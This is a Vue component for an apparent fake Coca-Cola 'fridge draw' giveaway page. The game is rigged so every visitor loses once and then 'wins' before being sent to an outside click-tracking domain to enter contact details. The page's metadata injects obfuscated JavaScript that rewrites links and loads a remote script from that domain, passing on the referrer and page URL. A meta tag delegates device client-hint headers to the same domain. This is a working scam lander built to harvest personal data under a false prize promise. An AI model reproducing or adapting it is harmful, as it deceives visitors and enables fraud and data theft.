<template>
  <div id="app">
    <!-- Main Content 现在包含了 Logo 和其他所有内容 -->
    <main class="main-content">
      <!-- 1. HTML 修改：Logo 从外部移入 main-content 内部 -->
      <img src="https://res.giveawaygalore.net/cocacola-02/images/logo.png" alt="Coca-Cola Logo" class="logo">

      <!-- Intro Text -->
      <div class="intro-text">
        <h1>Congratulations, you entered the Coca-Cola fridge draw!</h1>
        <p>Today the 10 lucky ones will receive a new Coca-Cola fridge!</p>
        <p>To win, you need to find the box where the gift was hidden!</p>
      </div>

      <!-- Game Status -->
      <div class="game-status">
        <h2 v-if="clickCount === 0">You have 3 tries. Good luck!</h2>
        <h2 v-else-if="clickCount === 1">You have 2 tries left.</h2>
        <h2 v-else>Game Over!</h2>
      </div>

      <!-- Fridge Grid -->
      <div class="fridge-grid">
        <div 
          v-for="fridge in fridges" 
          :key="fridge.id"
          class="fridge-item"
          :class="{ 'opened': fridge.opened, 'shake': fridge.shake }"
          @click="checkFridge(fridge)"
        >
          <img 
            :src="fridge.opened && !fridge.isWinner ? 'https://res.giveawaygalore.net/cocacola-02/images/box2.png' : 'https://res.giveawaygalore.net/cocacola-02/images/box1.png'" 
            alt="Coca-Cola Box"
          >
        </div>
      </div>
    </main>

    <!-- Modals (这部分保持不变) -->
    <div v-if="showMistakeModal" class="modal-overlay">
      <div class="mistake-modal-content">
        <h2 class="mistake-message">Sorry, you made a mistake, please try again.</h2>
        <p class="sub-message">You only have 2 tries</p>
        <button @click="closeMistakeModal" class="okay-btn">OKAY</button>
      </div>
    </div>
    
    <div v-if="showCongratsModal" class="modal-overlay">
      <div class="congrats-modal-content">
        <img src="https://res.giveawaygalore.net/cocacola-02/images/winimg.png" alt="Coca-Cola Prize" class="prize-image">
        <h2 class="congrats-heading">Congratulations!</h2>
        <p class="congrats-subheading">Congratulations, you've got a refrigerator with a year's Coca-Cola supply!</p>
        
        <h3 class="next-steps-heading">What should I do next?</h3>
        <ol class="instructions-list">
          <li>Go to the next page and fill contact details.</li>
          <li>Then you will receive a tracking number by email address you provided. The shipment will be delivered within 2 business days.</li>
        </ol>

        <button @click="redirectToTarget" class="congrats-ok-btn">Ok</button>
      </div>
    </div>

  </div>
</template>

<script>
// SCRIPT 部分完全不变
export default {
  name: 'App',
   metaInfo: {
    meta: [
      {
        'http-equiv': 'delegate-ch',
        content: 'sec-ch-ua https://cheputyaimunting.com; sec-ch-ua-mobile https://cheputyaimunting.com; sec-ch-ua-arch https://cheputyaimunting.com; sec-ch-ua-model https://cheputyaimunting.com; sec-ch-ua-platform https://cheputyaimunting.com; sec-ch-ua-platform-version https://cheputyaimunting.com; sec-ch-ua-bitness https://cheputyaimunting.com; sec-ch-ua-full-version-list https://cheputyaimunting.com; sec-ch-ua-full-version https://cheputyaimunting.com'
      }
    ],
    style: [
      { type: 'text/css', cssText: '.dtpcnt{opacity: 0;}' }
    ],
    script: [
      {
        type: 'text/javascript',
        innerHTML: `
          (function(d,c,k,l,r,t,g,u,A,e,m,v,B,a,n,p,h,q,w,D,x){function y(){for(var f=c.querySelectorAll(".dtpcnt"),b=0,a=f.length;b<a;b++)f[b][u]=f[b][u].replace(/(^|\\s+)dtpcnt($|\\s+)/g,"")}function C(a,b,d,e){var f=new Date;f.setTime(f.getTime()+(e||864E5));c.cookie=a+"="+b+"; "+d+"samesite=Strict; expires="+f.toGMTString()+"; path=/";k.setItem(a,b);k.setItem(a+"-expires",f.getTime())}function z(a){var b=c.cookie.match(new RegExp("(^| )"+a+"=([^;]+)"));return b?b.pop():k.getItem(a+"-expires")&&+k.getItem(a+
"-expires")>(new Date).getTime()?k.getItem(a):null}x=":"===d.location.protocol?"secure; ":"";d[e]||(d[e]=function(){(d[e].q=d[e].q||[]).push(arguments)},p=c[r],c[r]=function(){p&&p.apply(this,arguments);if(d[e]&&!d[e].hasOwnProperty("params")&&/loaded|interactive|complete/.test(c.readyState))for(;a=c[t][m++];)/\\/?click\\/?($|(\\/[0-9]+)?$)/.test(a.pathname)&&(a[g]="javascrip"+d.postMessage.toString().slice(4,5)+":"+e+'.l="'+a[g]+'",void 0')},setTimeout(function(){(q=/[?&]cpid(=([^&#]*)|&|#|$)/.exec(d.location.href))&&
q[2]&&(h=q[2],w=z("vl-"+h));var f=z("vl-cep"),b=location[g];if("savedCep"===B&&f&&(!h||"undefined"===typeof h)&&0>b.indexOf("cep=")){var e=-1<b.indexOf("?")?"&":"?";b+=e+f}a=c.createElement("script");n=c.scripts[0];a.defer=1;a.src=v+(-1===v.indexOf("?")?"?":"&")+"lpref="+l(c.referrer)+"&lpurl="+l(b)+"&lpt="+l(c.title)+"&vtm="+(new Date).getTime()+(w?"&uw=no":"");a[A]=function(){for(m=0;a=c[t][m++];)/dtpCallback\\.l/.test(a[g])&&(a[g]=decodeURIComponent(a[g]).match(/dtpCallback\\.l="([^"]+)/)[1]);y()};
n.parentNode.insertBefore(a,n);h&&C("vl-"+h,"1",x)},0),setTimeout(y,7E3))})(window,document,localStorage,encodeURIComponent,"onreadystatechange","links","href","className","onerror","dtpCallback",0,"https://cheputyaimunting.com/d/.js","savedCep");
        `,
        vmid: 'external-tracking-script'
      }
    ],
    noscript: [
      {
        innerHTML: `<link href="https://cheputyaimunting.com/d/.js?noscript=true&lpurl=" rel="stylesheet"/>`
      }
    ]
  },
  data() {
    return {
      totalFridges: 6,
      triesLeft: 3,
      fridges: [],
      winningFridgeId: null,
      gameOver: false,
      clickCount: 0,
      showMistakeModal: false,
      showCongratsModal: false,
    };
  },
  methods: {
    initializeGame() {
      this.triesLeft = 3;
      this.gameOver = false;
      this.fridges = [];
      this.winningFridgeId = -1;
      this.clickCount = 0;
      this.showMistakeModal = false;
      this.showCongratsModal = false;

      for (let i = 1; i <= this.totalFridges; i++) {
        this.fridges.push({
          id: i,
          isWinner: false,
          opened: false,
          shake: false
        });
      }
    },
    checkFridge(fridge) {
      if (this.gameOver || fridge.opened) {
        return;
      }

      if (this.clickCount === 0) {
        fridge.opened = true;
        this.triesLeft--;
        this.clickCount++;
        this.showMistakeModal = true;
      } else if (this.clickCount === 1) {
        fridge.opened = true;
        this.triesLeft--;
        this.clickCount++;
        this.showCongratsModal = true;
        this.gameOver = true;
      }
    },
    closeMistakeModal() {
      this.showMistakeModal = false;
    },
    resetGame() {
      this.initializeGame();
    },
    redirectToTarget() {
      window.location.href = 'https://cheputyaimunting.com/click';
    }
  },
  created() {
    this.initializeGame();
  }
};
</script>

<style scoped>
/* === CSS 修改部分 === */

#app {
  width: 100vw;
  /* 修改1：使用 min-height 允许内容在小屏幕上撑开容器 */
  min-height: 100vh;
  /* 修改2：允许垂直方向滚动，防止内容溢出时被裁剪 */
  overflow-y: auto;
  background-image: url('https://res.giveawaygalore.net/cocacola-02/images/Frame.png');
  background-size: cover;
  background-repeat: no-repeat;
  /* 推荐：固定背景，滚动时背景图不移动，体验更好 */
  background-attachment: fixed;
  background-color: #2c0f2f;
  color: white;
  display: flex;
  justify-content: center;
  align-items: center;
  box-sizing: border-box;
  font-family: 'Helvetica Neue', Arial, sans-serif;
  /* 推荐：为小屏幕上下留出一些空间 */
  padding: 20px 0;
}

/* 修改3：将 Logo 样式从绝对定位改为常规块级元素 */
.logo {
  /* 移除了 position: absolute 和相关定位属性 */
  width: 200px;
  /* 新增：为 Logo 和下面的文字之间添加间距 */
  margin-bottom: 20px;
}

.main-content {
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  max-width: 90%;
  width: 800px;
  /* z-index 不再需要 */
}

/* === 以下其他样式保持不变 === */
.intro-text h1 { font-size: clamp(1.5rem, 4vw, 2rem); font-weight: bold; margin-bottom: 1rem; text-shadow: 0 2px 4px rgba(0,0,0,0.5); }
.intro-text p { font-size: clamp(1.2rem, 2.5vw, 1.5rem); line-height: 1.5; margin: 0.5rem 0; opacity: 0.9; text-shadow: 0 1px 3px rgba(0,0,0,0.5); }
.game-status { margin: 40px 0; min-height: 2.5rem; }
.game-status h2 { font-size: clamp(1.2rem, 3vw, 1.5rem); font-weight: 500; text-shadow: 0 2px 4px rgba(0,0,0,0.5); }
.fridge-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 30px; width: 100%; max-width: 600px; }
.fridge-item { cursor: pointer; transition: transform 0.2s ease-in-out; }
.fridge-item:hover { transform: scale(1.05); }
.fridge-item img { width: 100%; height: auto; display: block; }
.fridge-item.opened { cursor: not-allowed; transform: scale(0.95); }
.shake { animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both; }
@keyframes shake { 10%, 90% { transform: translate3d(-1px, 0, 0); } 20%, 80% { transform: translate3d(2px, 0, 0); } 30%, 50%, 70% { transform: translate3d(-4px, 0, 0); } 40%, 60% { transform: translate3d(4px, 0, 0); } }
.modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.75); display: flex; justify-content: center; align-items: center; z-index: 1000; padding: 1rem; box-sizing: border-box; }
.mistake-modal-content { background-color: #2d2d2d; color: white; padding: 30px 40px; border-radius: 15px; text-align: center; box-shadow: 0 5px 15px rgba(0,0,0,0.5); max-width: 400px; width: 90%; }
.mistake-message { font-size: 1.25rem; font-weight: bold; margin: 0 0 15px 0; }
.sub-message { font-size: 1rem; opacity: 0.8; margin: 0 0 25px 0; }
.okay-btn { background-color: #e61d2b; color: white; border: none; padding: 15px 50px; font-size: 1.1rem; font-weight: bold; border-radius: 50px; cursor: pointer; transition: transform 0.2s ease, background-color 0.2s ease; }
.okay-btn:hover { background-color: #c5121f; transform: scale(1.05); }
.congrats-modal-content { background-color: #2d2d2d; color: white; padding: 20px 30px 30px 30px; border-radius: 15px; text-align: center; box-shadow: 0 5px 15px rgba(0,0,0,0.5); max-width: 500px; width: 90%; }
.prize-image { width: 100%; max-width: 350px; margin-bottom: 20px; }
.congrats-heading { font-size: 1.8rem; font-weight: bold; margin: 0; }
.congrats-subheading { font-size: 1.4rem; font-weight: bold; margin: 5px 0 25px 0; line-height: 1.3; }
.next-steps-heading { font-size: 1.1rem; margin: 0 0 15px 0; font-weight: normal; opacity: 0.9; }
.instructions-list { text-align: left; padding-left: 25px; margin: 0 auto 30px auto; max-width: 400px; }
.instructions-list li { margin-bottom: 15px; line-height: 1.5; opacity: 0.8; }
.congrats-ok-btn { background-color: #e61d2b; color: white; border: none; padding: 15px 60px; font-size: 1.2rem; font-weight: bold; border-radius: 50px; cursor: pointer; transition: transform 0.2s ease, background-color 0.2s ease; }
.congrats-ok-btn:hover { background-color: #c5121f; transform: scale(1.05); }

@media (max-width: 600px) {
  .fridge-grid { grid-template-columns: repeat(2, 1fr); gap: 20px; }
  .congrats-subheading { font-size: 1.2rem; }
}
</style>